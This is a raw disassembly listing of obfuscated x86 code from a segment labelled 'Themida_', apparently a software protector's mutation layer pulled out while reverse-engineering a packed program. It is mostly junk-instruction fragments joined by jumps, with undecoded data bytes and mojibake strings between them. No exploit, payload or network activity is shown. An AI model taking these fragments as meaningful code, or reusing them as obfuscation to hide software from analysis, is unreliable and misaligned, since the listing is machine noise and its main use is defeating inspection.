		jmp	loc_55B91E
; ---------------------------------------------------------------------------
aRB9bAfZs	db 'R╨-b)9│ЙAF*а',9,'яZИчЁ',0
		dw 0BF00h
		dd 37A54A0Eh, 67F6F781h, 0FB290A6Eh, 242C8B5Fh,	24E16851h
		dd 0C8E90000h, 5E000003h, 4C481h, 54530000h, 6BB6E95Bh
		dd 0EE810000h, 28A7364Fh, 6ABAEE81h, 0BA525427h, 619C27ACh
		dd 4992EA81h, 0F2817C64h, 0B37A9E2Ch, 815AD629h, 4ECh
		dd 24148900h, 0BAh, 0D4685200h,	89000012h, 25BE2434h, 5528EB43h
		dd 0BDh, 87F52900h, 320DE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5575EA:				; CODE XREF: Themida_:00560CCEj
		add	edi, 5D8D3F42h
		sub	edi, ebp
		sub	edi, 5D8D3F42h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		pop	edi
		jmp	loc_558C32
; ---------------------------------------------------------------------------
aRs_0		db '╥░И"ы',0
		dd 6E346800h, 1C890000h, 1C8B5424h, 0DD61E924h,	505B0000h
		dd 0AEE9E089h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557627:				; CODE XREF: Themida_:0055F3C2j
		sub	esi, eax
		push	edi
		mov	edi, 724B37A9h
		shr	edi, 7
		add	edi, 5267622h
		shr	edi, 4
		jmp	loc_559DD4
; ---------------------------------------------------------------------------


loc_557640:				; CODE XREF: Themida_:005517D9j
		mov	[esp], esi
		push	eax
		push	esi
		jmp	loc_55E528
; ---------------------------------------------------------------------------
word_55764A	dw 8B66h		; DATA XREF: Themida_:00550ED0o
		dd 0EC812404h, 4, 54242C89h, 4EC835Dh, 68240C89h, 4, 79C58159h
		dd 0E97B8C5Ah, 0FFFFC5D3h, 0B4047E2Ch, 0B42CD800h, 0A433E9h
		db 0
; ---------------------------------------------------------------------------


loc_55767D:				; CODE XREF: Themida_:0056173Dj
		add	ecx, 690C5D1Dh
		neg	ecx
		xor	ecx, 6EA36BC7h
		push	eax
		mov	eax, 56656E6Fh
		not	eax
		not	eax
		jmp	loc_5574C3
; ---------------------------------------------------------------------------
		dw 0C731h
		dd 3CB85058h, 4051897Ah, 5D64BD55h, 0D5F75659h,	0E906E5C1h
		dd 0FFFFDD74h, 7A4C3558h, 148B0B70h, 1180E924h,	34FF0000h
		dd 924DE924h, 0F5800000h, 6F46E985h, 79BE0000h,	12B1468h
		dd 0E72D5EF0h, 6808343Eh, 558h,	89241C89h, 0BEE957E3h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576EF:				; CODE XREF: Themida_:005623FEj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C6D2
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 5
		dd 0B753BA2Ch, 0A4EF8021h, 0F780CFFEh, 80DFF6BBh, 0F828FEEFh
		dd 8BC3885Bh, 21E92404h, 830000CEh, 0FF5304C4h,	5B042474h
		dd 8B24048Fh, 8B662424h, 0EC832404h, 24348904h,	24348B54h
		dd 0CCB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_557741:				; CODE XREF: Themida_:0055AF5Cj
		mov	edi, 7E0057C0h
		add	edi, 69085DACh
		or	edi, 75DD2E1Bh
		add	edi, 4C876529h
		mov	eax, edi
		pop	edi
		jmp	loc_564E2C
; ---------------------------------------------------------------------------
		dd 33240C31h, 895C240Ch, 0F0E92414h, 1FFFF97h, 29EF81CFh
		dd 59202955h, 2474FF57h, 243C8B04h, 8F04C483h, 248B2404h
		dd 0F69AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55778E:				; CODE XREF: Themida_:0056286Dj
		push	eax
		push	ebp
		mov	ebp, 33DD3F60h
		mov	eax, 0CDCE1C6Ch
		add	eax, ebp
		jmp	loc_55B1EF
; ---------------------------------------------------------------------------
		align 2
aSD_1		db 'ьИ[╓',0
		align 4
		dd 4C481h, 0BE560000h, 2, 525EF229h, 0C00CE9h, 0E8016600h
		dd 56932D66h, 0D801665Dh, 46692D66h, 3CAE0566h,	1376E9h
		dd 287F8800h, 4011E9h
		db 0
; ---------------------------------------------------------------------------


loc_5577DD:				; CODE XREF: Themida_:0055C834j
		shl	ebp, 5
		xor	ebp, 1E6D3AC9h
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		not	ebp
		add	ebp, 82384801h
		sub	eax, ebp
		jmp	loc_55A74E
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8B241Ch, 2CEAE924h, 88590000h, 43E95AF3h, 58000028h
		dd 61A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_557815:				; CODE XREF: Themida_:0055FEA1j
		add	esp, 4
		sub	dword ptr [esp+4], 1B2A7EB6h
		add	[esp+4], esi
		add	dword ptr [esp+4], 1B2A7EB6h
		add	dword ptr [esp+4], 67D51008h
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_555E91
; ---------------------------------------------------------------------------


loc_557842:				; CODE XREF: Themida_:0055A704j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_565692
; ---------------------------------------------------------------------------
		dw 0C8FEh
		dd 0FFCC0BE9h
		db 0FFh
byte_557859	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550D8Co
aSe0		db '$И╔0',0
		align 2
a1434I4Rqs	db '14$34$\┴4$RQИн╟',0
		dw 5900h
		dd 0E95DE801h, 0FFFFB1B2h, 9BCDEB81h, 0DE0103E5h, 24148B5Bh
		dd 6F6EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55788D:				; CODE XREF: Themida_:00553B8Aj
		pop	eax
		jmp	loc_55D6FD
; ---------------------------------------------------------------------------


loc_557893:				; CODE XREF: Themida_:0055832Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_560002
; ---------------------------------------------------------------------------
		dd 5604C483h, 9AD990BEh, 5EF031E7h, 158C201h, 0BAEA81FAh
		dd 5F102325h, 28A2E9h, 0E8C15800h, 12B2503h, 9E2D2BEBh
		dd 31D0D197h, 0F75658C6h, 815E2414h, 1C66BFCEh,	50D6F723h
		dd 819610B8h, 58C60157h, 348BF789h, 9F4AE924h, 0F1F6FFFFh
		dd 0CCB60F66h, 3F2C6866h, 2F9E9h, 0BFE95000h, 8BFFFFBFh
		dd 0C4832404h, 240C8B04h, 0C70E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557926:				; CODE XREF: Themida_:00563738j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], ecx
		pop	edx
		jmp	loc_55FCE6
; ---------------------------------------------------------------------------


loc_55793D:				; CODE XREF: Themida_:00565174j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		push	2CE81691h
		pop	ecx
		sub	ecx, 1
		push	ebx
		jmp	loc_55ADCC
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 4C781h, 0E9530000h, 0FFFFC57Bh
; ---------------------------------------------------------------------------


loc_557968:				; CODE XREF: Themida_:0055B657j
		add	edx, 613114B8h
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
aNhN		db '╜h',8,'N',0         ; DATA XREF: Themida_:00550E0Co
		dd 24348900h, 4215A1BEh, 92C68139h, 81039A0Bh, 0A83622E6h
		dd 0F3F6810Dh, 96227F61h, 5746E9h
		db 0
; ---------------------------------------------------------------------------


loc_557999:				; CODE XREF: Themida_:00551D92j
		add	esp, 4
		jmp	loc_5625B9
; ---------------------------------------------------------------------------
aMsfb		db 'MИfB',0
		dw 0E900h
		dd 0FFFF95B3h
aMhxe		db '╛hXe',0             ; DATA XREF: Themida_:00550E38o
		align 2
		dw 0C89h
aSB		db '$И╬║',0
		align 2
		dw 0FF53h
		dd 5B042474h, 5C24048Fh, 5D62BA52h, 2BE9628Ah, 43FFFFB7h
		dd 0C381DBF7h, 0D80DA5h, 0B8C3814Bh, 1748D13h, 535D5BDFh
		dd 4BBh, 28E95000h, 3100003Eh, 3C33243Ch, 24248B24h, 0EC815266h
		dd 4, 4087E9h
		db 0
; ---------------------------------------------------------------------------


loc_557A05:				; CODE XREF: Themida_:00556DBAj
		mov	[esp], ecx
		mov	ecx, 60240508h
		add	dword ptr [esp+4], 614565C0h
		add	dword ptr [esp+4], 65A58ECh
		sub	[esp+4], ecx
		jmp	loc_556C2A
; ---------------------------------------------------------------------------
		dw 0B1B6h
		dd 0FEB3E680h, 48F680C6h, 6601C680h, 0BAB25253h, 88BBEA80h
		dd 24148BD7h, 4C481h, 0FE000000h, 27E95B66h, 560000CAh
		dd 0AB2A76BEh, 0E94E4613h, 864Dh
; ---------------------------------------------------------------------------


loc_557A5C:				; CODE XREF: Themida_:0056577Ej
		add	ebx, 1830639h
		add	ebx, 0D276F03h
		add	ebx, 0ED19C7CCh
		xor	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_55F81A
; ---------------------------------------------------------------------------


loc_557A77:				; CODE XREF: Themida_:00559DDAj
		add	esi, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		sub	edi, 3B962FF3h
		add	edi, eax
		add	edi, 3B962FF3h
		jmp	loc_55264E
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 48B0424h, 4EC8124h, 0E9000000h, 48E9h
dword_557AA8	dd 0FF94B2E9h, 232DB8FFh, 0C7310088h, 1BE95058h, 5B000045h
					; DATA XREF: Themida_:00550E14o
		dd 335AD001h, 4312404h,	24043324h, 1AD0685Ch, 1C890000h
		dd 51E38924h, 4B9h, 0D083E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557ADE:				; CODE XREF: Themida_:00558E4Fj
		push	edi
		mov	edi, 259B7435h
		xor	[esp+4], edi
		jmp	loc_55C245
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55E915
; ---------------------------------------------------------------------------


loc_557AF5:				; CODE XREF: Themida_:0055A54Dj
		not	edx
		shl	edx, 8
		jmp	loc_551D06
; ---------------------------------------------------------------------------


loc_557AFF:				; CODE XREF: Themida_:00555A26j
		add	edx, eax
		pop	eax
		sub	edx, ecx
		sub	edx, 1CA32C6Fh
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5E2C100h, 94A4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B1E:				; CODE XREF: Themida_:0056014Ej
		add	edi, ecx
		pop	ecx
		push	5359h
		mov	[esp], edx
		push	5447h
		jmp	loc_55853D
; ---------------------------------------------------------------------------
		db 50h
		dd 0FA240481h, 5A0E595Ah, 5AFAEA81h, 34E90E59h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557B47:				; CODE XREF: Themida_:00551A14j
		jnz	loc_5602D6
		push	esi
		jmp	loc_555383
; ---------------------------------------------------------------------------
byte_557B53	db 66h			; DATA XREF: Themida_:00550E24o
		dd 55240C8Bh, 0FFC0C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557B5D:				; CODE XREF: Themida_:00556112j
		pop	eax
		jmp	loc_55AAC6
; ---------------------------------------------------------------------------
aVsV		db 'VИЁ╒',0
		dd 0E8285900h, 0B5515352h, 0E9BBB7D7h, 0D6C9h, 0F00EC781h
		dd 0FB294634h, 81D3295Fh, 1B1D18C3h, 49C38178h,	57567B00h
		dd 4D2ABFBFh, 5FFB290Ch, 0E924148Bh, 0FFFFAA70h, 2404815Fh
		dd 123D0CA4h, 765AE9h, 46C28100h, 81678354h, 0CA4F4BC2h
		dd 93A1E92Ch, 0C680FFFFh, 0FFC680D6h, 537DF680h, 0D888F388h
		dd 0E9525A5Bh, 0FFFFE499h, 0FF9386E9h, 31B7FFh,	805B66F9h
		dd 0CB283CEBh, 0FF3CC380h, 0E9592434h, 0FFFF9CE7h, 0E95D5Eh
		dd 8100004Eh, 0FB2019C3h, 81DBF720h, 1424E0EBh,	135CE901h
		dd 89660000h, 0F66240Ch, 27E9C8B6h, 0B70000CCh,	6203E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C1E:				; CODE XREF: Themida_:005526BFj
		add	esp, 4
		add	[esp+4], edi
		sub	dword ptr [esp+4], 44BF3945h
		jmp	loc_554921
; ---------------------------------------------------------------------------
		db 50h,	56h, 0BEh
		dd 7D204A46h, 15EF089h,	0E9082444h, 4081h
; ---------------------------------------------------------------------------


loc_557C48:				; CODE XREF: Themida_:005569A0j
		mov	cl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebx
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	al, cl
		pop	ecx
		xor	bl, al
		movzx	eax, al
		push	small 1C06h
		jmp	loc_55F275
; ---------------------------------------------------------------------------
		db 5Eh
		dd 31241433h, 14332414h, 39FEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C92:				; CODE XREF: Themida_:0056171Bj
		add	ecx, edi
		add	ecx, 1393729h
		add	ecx, 1B3A4CDCh
		pop	edi
		push	ebx
		push	ecx
		push	esi
		jmp	loc_56292A
; ---------------------------------------------------------------------------
		db 0BFh, 0FFh, 52h
		dd 1E95BACh, 83000013h,	2C8904ECh, 4BD24h, 0EF010000h
		dd 9E71E95Dh, 24890000h, 4BF5724h, 0E9000000h, 0FFFFFF61h
; ---------------------------------------------------------------------------


loc_557CD4:				; CODE XREF: Themida_:00554301j
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 2A296162h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_560DF9
; ---------------------------------------------------------------------------


loc_557CF4:				; CODE XREF: Themida_:005543C0j
		push	edx
		jmp	loc_565BA2
; ---------------------------------------------------------------------------


loc_557CFA:				; CODE XREF: Themida_:005639BEj
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5524B4
; ---------------------------------------------------------------------------
aCsii		db 'CИI┬',0
		dd 59E88800h, 20AFE9h, 0D9F76600h, 0E4E98166h, 0CB29667Bh
		dd 4EC8359h, 66241489h,	661A15BAh, 8166D2F7h, 66680CC2h
		dd 665AD329h, 0CDE9DA29h, 81000034h, 50699EDh, 56E9574Ch
		dd 66FFFFFFh, 661A2D68h, 66240489h, 660000B8h, 9766F829h
		dd 57665866h, 5F665666h, 0E5E95E66h, 0F7FFFFBAh, 65F581D5h
		dd 1EF2E05h, 348B5DEAh,	0E6895624h, 3DF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_557D89:				; CODE XREF: Themida_:0055D588j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, 67F34E19h
		xor	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555E13
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0BBF7h, 0E9241C89h, 7B13h
; ---------------------------------------------------------------------------


loc_557DD4:				; CODE XREF: Themida_:005633ADj
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564CBD
; ---------------------------------------------------------------------------


loc_557DE7:				; CODE XREF: Themida_:0055BE50j
		pop	edi
		add	eax, edx
		sub	eax, 13164BDCh
		xor	[eax], ebx
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A15A
; ---------------------------------------------------------------------------
aN1SA		db '╜1ьИ,─',0           ; DATA XREF: Themida_:00550D74o
		dd 243C8900h, 4EC81h, 14890000h, 0EEBB5324h, 8906596Ah
		dd 241C8BDAh, 4C481h, 0EEBF0000h, 0E9065968h, 0FFFFE40Fh
		dd 0E95FFB01h, 6882h, 0D93B850h, 91254E61h, 5352EF2Bh
		dd 696F4BBBh, 0E9D83168h, 0FFFF9F55h, 202ABB53h, 0C14B17EFh
		dd 0EB8104E3h, 970A048h, 0E95BDF89h, 375Ah
dword_557E64	dd 50D830ACh, 405E089h,	51000000h, 0A75771B9h, 75F1810Ch
					; DATA XREF: Themida_:00550E48o
		dd 0E90CA757h, 0FFFFE5D2h
dword_557E80	dd 2AE932FFh		; DATA XREF: Themida_:00550D24o
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E87:				; CODE XREF: Themida_:0056523Cj
		mov	[esp], edx
		mov	edx, 76287847h
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55A7D5
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2A076797h, 0C381EB01h, 2A076797h, 4BE565Dh, 0E9000000h
		dd 8804h, 90A5E95Ch, 0EC81FFFFh, 4, 0BD242C89h,	1773071Ch
		dd 647DE9h
		db 0
; ---------------------------------------------------------------------------


loc_557ECD:				; CODE XREF: Themida_:0055195Cj
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_55D8AC
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0FF000000h, 835D2434h, 0BF5704C4h, 4, 184AC581h, 0FD014F7Bh
		dd 184AED81h, 9AE94F7Bh
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557EFF:				; CODE XREF: Themida_:0055E63Aj
		not	ebx
		dec	ebx
		sub	ebx, 2ABEC044h
		or	esi, ebx
		jmp	loc_565236
; ---------------------------------------------------------------------------
byte_557F0F	db 68h			; DATA XREF: Themida_:00550CDCo
		dd 2B28h, 3F73E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F19:				; CODE XREF: Themida_:0055ED52j
		shr	ebp, 3
		shr	ebp, 2
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_551DE4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
aSg		db '$ИG',9,0
		align 2
aAiS		db '─К=И╡',27h,0
		align 2
		dw 0C8Bh
		dd 0E7895724h, 4C781h, 30E90000h, 80000047h, 0FAE97AEDh
		dd 0B900004Eh, 44935D5Eh, 4CE9D9F7h, 0F7FFFFD1h, 4ADAF7DAh
		dd 0F223C281h, 0D601FD9Fh, 0FFD966E9h, 2434FFFFh, 0A3FBE959h
		dd 0CD810000h, 7D410BF3h, 8105EDC1h, 53725C5h, 5DEA01FCh
		dd 6026BE56h, 0E6816D26h, 11A45A66h, 0B4FEE9h, 66525C00h
		dd 0E96191BAh, 0FFFFD0F6h
; ---------------------------------------------------------------------------


loc_557FAC:				; CODE XREF: Themida_:0055915Aj
		push	63A5h
		mov	[esp], eax
		jmp	loc_55A539
; ---------------------------------------------------------------------------


loc_557FB9:				; CODE XREF: Themida_:0055544Fj
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_5545CD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0DAA4E952h, 335CFFFFh, 14312414h, 24143324h
		dd 6624248Bh, 5724048Bh, 3451E9h
		db 0
; ---------------------------------------------------------------------------


loc_557FF9:				; CODE XREF: Themida_:0055F3A1j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_563EF1
; ---------------------------------------------------------------------------


loc_558012:				; CODE XREF: Themida_:005510EAj
		pop	ecx
		or	edx, 1AC70A61h
		sub	edx, 0E76E0366h
		sub	ebx, 4FD75014h
		push	esi
		mov	esi, 144C0ECBh
		add	ebx, esi
		pop	esi
		sub	ebx, edx
		sub	ebx, 144C0ECBh
		add	ebx, 4FD75014h
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_557181
; ---------------------------------------------------------------------------
		dd 6824048Bh, 76D9h, 89243C89h,	67E952E7h, 0E9FFFFFDh
		dd 0FFFF8EFBh, 29C7815Eh, 0E9202955h, 0FFFFF6FFh, 0DBF7D3F7h
		dd 71C3814Bh, 298DA7E1h, 241C8BD8h, 4C481h, 4870000h, 67B7E924h
		dd 0BE560000h, 50832272h, 71C6E9h, 4EC8300h, 0BB241C89h
		dd 4, 15BDE89h,	0B37BE9F5h, 0AEBFFFFFh,	0C16DE723h, 0E7C103E7h
		dd 0CE58E903h, 0F931FFFFh, 46B8505Fh, 405D2F05h, 4C54A02Dh
		dd 58C28915h, 8959CA01h, 0ED815AD6h, 715D0F41h,	8B58E9h
		dd 4BA00h, 0D8E90000h, 3100001Ah, 31EF31FDh, 0CEED81FDh
		dd 51771E78h, 0B94CFAB9h, 59CD090Dh, 0FFBF75E9h, 0EF2959FFh
		dd 47AFE9h, 7EC78100h, 163DA67h, 7EEF81CFh, 8163DA67h
		dd 0A43D35C7h, 0EF81597Dh, 4, 0E9243C87h, 5753h, 4C281h
		dd 0C2830000h, 24148704h, 0D9FDE95Ch, 8F540000h, 0B9512404h
		dd 4, 4244C01h,	0E9240C8Bh, 0FFFFFD81h,	282AAABEh, 0BB534645h
		dd 5FD302FAh, 0FFFA8EE9h, 0DFB951FFh, 89289175h, 0DD3159CBh
		dd 53BA525Bh, 113B130h,	0E5815AD5h, 24A10454h, 50ED81h
		dd 94E90021h, 8900001Dh, 8B542434h, 0C4812434h,	4, 4C681h
		dd 0EE810000h, 4, 0AB20E9h
		db 0
; ---------------------------------------------------------------------------


loc_5581AD:				; CODE XREF: Themida_:005608ABj
		xchg	edx, [esp]
		pop	esp
		push	2B7Bh
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_563724
; ---------------------------------------------------------------------------
		align 2
		dw 5AF3h
		dd 1C8BD800h, 4C48124h,	0
		dd 59472CE8h, 0FFD695E9h, 24248BFFh, 64E930FFh,	52FFFF8Dh
		dd 4BAh, 1011E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558206:				; CODE XREF: Themida_:0056437Cj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		push	0B09h
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6A967EB3h
		add	ebx, 57C45AEh
		jmp	loc_55FF3E
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0F7E58108h, 8352AE7Ah, 48904ECh, 3C84E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558262:				; CODE XREF: Themida_:005602D0j
		sub	bl, 0E0h
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_563245
; ---------------------------------------------------------------------------
		dd 0E908E7C0h, 0FFFFD852h, 1AE95FB6h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55827F:				; CODE XREF: Themida_:0056510Dj
		xor	edi, 0EF339D5Ah
		add	esi, edi
		jmp	loc_563939
; ---------------------------------------------------------------------------


loc_55828C:				; CODE XREF: Themida_:00561C85j
		mov	eax, 7AA87818h
		jmp	loc_555447
; ---------------------------------------------------------------------------
		dw 0D8F6h
		dd 2FE9EA04h, 8900008Dh, 26B22414h, 0A7BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5582A9:				; CODE XREF: Themida_:0055AB9Aj
		xor	ebp, 1D98420Bh
		dec	ebp
		add	ebp, 3E6AC793h
		push	edx
		push	eax
		jmp	loc_55FBCD
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28300h, 5C241487h, 4B850h, 9EE90000h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5582D7:				; CODE XREF: Themida_:005654CCj
		add	edi, 537164A3h
		pop	ebp
		push	ecx
		jmp	loc_55A481
; ---------------------------------------------------------------------------
		dd 23BD68h, 243C8900h, 5B0EE9h,	0E8895B00h, 0D1E5E9h
		db 0
byte_5582F9	db 0ACh, 2Ch, 7		; DATA XREF: Themida_:00550CE0o
		dd 80C9B252h, 0D000EDF2h, 0F497E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55830A:				; CODE XREF: Themida_:0055C2C5j
		push	edx
		jmp	loc_55A987
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0FF662424h, 0E99C2404h, 0FFFF8C3Fh
; ---------------------------------------------------------------------------


loc_558320:				; CODE XREF: Themida_:005523A3j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_557893
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 80CFFE08h, 0FE8853F7h, 0FEDEF65Bh, 7E953CEh
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558347:				; CODE XREF: Themida_:0056350Fj
		not	eax
		not	eax
		add	eax, 9D8DE3F3h
		push	ebp
		mov	ebp, 390848C3h
		and	ebp, 64137F75h
		jmp	loc_561C8A
; ---------------------------------------------------------------------------
		align 2
		dw 83D0h
		dd 896602ECh, 83E92414h, 5100003Bh, 8904EC83h, 0BD552404h
		dd 52D44F1Dh, 55DE889h,	0FFFFFFFFh, 5B26BB53h, 0D8093D7Eh
		dd 2DE8D15Bh, 51D948BEh, 0E906E8C1h, 3358h, 0E902E9C1h
		dd 8D4Eh, 6161E95Bh, 0EB810000h, 0D9654C08h, 1C8BDE89h
		dd 4C48324h, 9ABB5356h,	0BE55DB2Bh, 0E4E2E91Ah,	15BDE01h
		dd 0F0295EF0h, 8EBA5256h, 0BE65D73Bh, 0A0955042h, 295AD629h
		dd 24348BF0h, 0E904C483h, 5AFDh, 1FE7E981h, 348B3D26h
		dd 0BC97E924h, 0FCB80000h, 0BB473752h, 473752F8h, 7AE9C331h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558407:				; CODE XREF: Themida_:0055181Bj
		pop	edi
		push	eax
		mov	eax, 0B1560CDh
		neg	eax
		xor	eax, 57921EAEh
		neg	eax
		xor	eax, 5C877E67h
		jmp	loc_55534F
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
aNa		db '$╡█─цн',0
		db 0D3h
		dd 66CEEB80h, 0A8EB805Ah, 0E962B450h, 662h
; ---------------------------------------------------------------------------


loc_55843C:				; CODE XREF: Themida_:00562882j
		pop	eax
		push	dword ptr [esp]
		pop	eax
		push	3001h
		jmp	loc_55C000
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81240Ch, 4, 55241C89h, 2EE95D54h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55845F:				; CODE XREF: Themida_:0055C1B0j
		mov	eax, [esp]
		jmp	loc_551E89
; ---------------------------------------------------------------------------
		db 83h
		dd 0BB5304C4h, 6DC2644Ah, 14A5EB81h, 0C3816022h, 474C0D0Bh
		dd 8108E3C1h, 798AA2F3h, 6AC581D1h, 14C3E7Ch, 6AED81DDh
		dd 5B4C3E7Ch, 0B850FD01h, 3D253AA2h, 6858C529h,	670Bh
		dd 0BF243C89h, 0E7C5AC0h, 5F5FFD29h, 19C5E9h, 46D6F700h
		dd 3A6FC681h, 0F289BCA4h, 9AC9E9h, 0F7815D00h, 107A172Eh
		dd 7067212Dh, 5F80159h,	59706721h, 83243C8Bh, 48704C4h
		dd 6A9AE924h, 35400000h, 0E7B4991h, 158C231h, 24148BD0h
		dd 3304C483h, 4312404h,	24043324h, 0E924248Bh, 941Ch
; ---------------------------------------------------------------------------


loc_558508:				; CODE XREF: Themida_:00563FEAj
		mov	[esp], ebp
		mov	ebp, 1D20372Ch
		jmp	loc_55728C
; ---------------------------------------------------------------------------
		db 5Bh,	30h, 0EEh
		dd 240C8B66h, 0FFA84DE9h, 0B8B951FFh, 810B9A2Eh, 0E54DBEC6h
		dd 81CE2937h, 0E54DBEEEh, 240C8B37h, 0FFA48EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55853D:				; CODE XREF: Themida_:00557B2Ej
		mov	[esp], esi
		mov	esi, 1E010CA0h
		jmp	loc_554CA3
; ---------------------------------------------------------------------------


loc_55854A:				; CODE XREF: Themida_:005657B9j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_552394
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 0E9h
		dd 0FFFFE412h, 2404875Eh, 2824248Bh, 0E99C2404h, 0FFFF89EBh
		dd 4C481h, 0C6810000h, 4, 4BD55h, 0EE010000h, 0FFED6AE9h
		dd 241489FFh, 19CCE951h, 0E5890000h, 4C581h, 0C5830000h
		dd 242C8704h, 4C1815Ch,	50000000h, 2B8h, 9639E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5585B6:				; CODE XREF: Themida_:0055A30Bj
		xor	edx, 83CC4723h
		jmp	loc_55C3BB
; ---------------------------------------------------------------------------
		db 1, 0EAh, 0FFh
		dd 555D2434h, 0FFCE21E9h
